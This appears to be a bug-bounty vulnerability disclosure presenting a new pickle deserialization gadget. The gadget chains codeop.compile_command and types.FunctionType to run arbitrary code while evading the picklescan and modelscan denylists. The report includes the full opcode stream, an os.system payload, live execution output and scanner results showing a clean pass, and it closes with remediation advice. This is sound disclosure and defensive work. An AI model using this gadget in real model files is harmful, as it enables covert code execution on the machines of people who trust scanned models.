EnigmaConsultant/huntr-poc-pickle-codeop-functype-bypass

New pickle RCE gadget: codeop.compile_command + types.FunctionType bypasses both modelscan and picklescan

Category: Malicious pickle / model-scanner denylist bypass (arbitrary code execution at deserialization time)

Targets

Scanner	Version	Environment	Result on PoC
picklescan	1.0.5	Python 3.13.12 (/home/kali/hunt-workspace/scan313)	CLEAN — Infected files: 0, exit 0
modelscan	0.8.8	Python 3.12.13 (/home/kali/hunt-workspace/scan312)	CLEAN — "No issues found! 🎉", exit 0

Payload execution and picklescan run natively on Python 3.13.12.

Summary

Both scanners are opcode-denylist based: they inspect only GLOBAL / STACK_GLOBAL (module, name) pairs against a hardcoded unsafe-callable list. This gadget references only callables absent from BOTH denylists — codeop.compile_command and types.FunctionType — and never emits any GLOBAL for os / system / exec / eval / compile.

At unpickle time the gadget:

1. calls codeop.compile_command(SOURCE, '<pickle>', 'exec') to compile an attacker-supplied Python source string into a live code object,
2. wraps it with types.FunctionType(code, {}),
3. invokes it via a bare REDUCE with ().

The dangerous callable (os.system) exists only inside the plain string literal argument, which the scanners never parse.

Root cause

Both scanners classify globals by matching (module, name) against a static set:

• picklescan _unsafe_globals lists types: {CodeType} only — not FunctionType — and has no codeop entry at all.
• modelscan settings.unsafe_globals lists neither types nor codeop.

Neither codeop.compile_command nor types.FunctionType appears on either denylist, so the whole opcode stream is considered benign. The compilation of the payload happens in-process from a human-readable string that the scanners treat as opaque data.

PoC

Hand-assembled protocol-4 pickle. Files: evil.pkl (also evil.joblib, byte-identical). Generator: gen_poc.py. Negative control: control_os.pkl (classic os.system GLOBAL).

SOURCE = "import os; os.system('id > PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> PWNED_codeop')"

Opcode stream (pickletools.dis(evil.pkl))

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'types'
    9: \x8c SHORT_BINUNICODE 'FunctionType'
   23: \x93 STACK_GLOBAL
   24: \x8c SHORT_BINUNICODE 'codeop'
   32: \x8c SHORT_BINUNICODE 'compile_command'
   49: \x93 STACK_GLOBAL
   50: (    MARK
   51: \x8c     SHORT_BINUNICODE "import os; os.system('id > .../PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> .../PWNED_codeop')"
  251: \x8c     SHORT_BINUNICODE '<pickle>'
  261: \x8c     SHORT_BINUNICODE 'exec'
  267: t        TUPLE      (MARK at 50)
  268: R    REDUCE         # -> code object  (codeop.compile_command(SOURCE,'<pickle>','exec'))
  269: }    EMPTY_DICT
  270: \x86 TUPLE2         # -> (code, {})
  271: R    REDUCE         # -> function     (types.FunctionType(code, {}))
  272: )    EMPTY_TUPLE
  273: R    REDUCE         # -> executes function()
  274: .    STOP
highest protocol among opcodes = 4

Captured evidence (verbatim, live re-run)

EXECUTE evil.pkl on py3.13

### EXECUTE evil.pkl on py3.13 ###
Python 3.13.12
load returned
--- marker file ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
codeop_functype_gadget_executed

picklescan (1.0.5, py3.13) evil.pkl

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
exit=0

The 2 "suspicious" globals are types.FunctionType and codeop.compile_command — neither classified Dangerous, exit 0 = clean pass (picklescan only fails/flags on Dangerous globals).

modelscan (0.8.8, py3.12) evil.pkl

Scanning .../evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! 🎉
exit=0

NEGATIVE CONTROL control_os.pkl (classic os.system GLOBAL — both scanners catch it)

picklescan:

.../control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
exit=1

modelscan:

Total Issues: 1
    - CRITICAL: 1
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
exit=1

The negative control proves the toolchain detects the classic gadget; the novel gadget slips through both.

Dedup / prior-art note

• Distinct from the already-covered marshal + FunctionType + operator.call gadget: this PoC uses no marshal (it ships human-readable Python source compiled in-process rather than pre-marshalled bytecode) and no operator.call (a bare REDUCE invokes the function).
• The primary novel callable codeop.compile_command has not appeared in any prior published gadget. codeop is not on either scanner's denylist.
• types.FunctionType is likewise absent from both denylists (picklescan lists only types.CodeType).
• Not covered by any known CVE against picklescan 1.0.5 or modelscan 0.8.8; both denylists in their current released form omit these callables.

Suggested remediation

Add codeop.compile_command (and the whole codeop module of compile helpers), plus types.FunctionType, to the unsafe-globals denylists. More robustly, treat any callable that can compile/eval a string or construct a function/code object as dangerous, since denylisting individual names is inherently bypass-prone.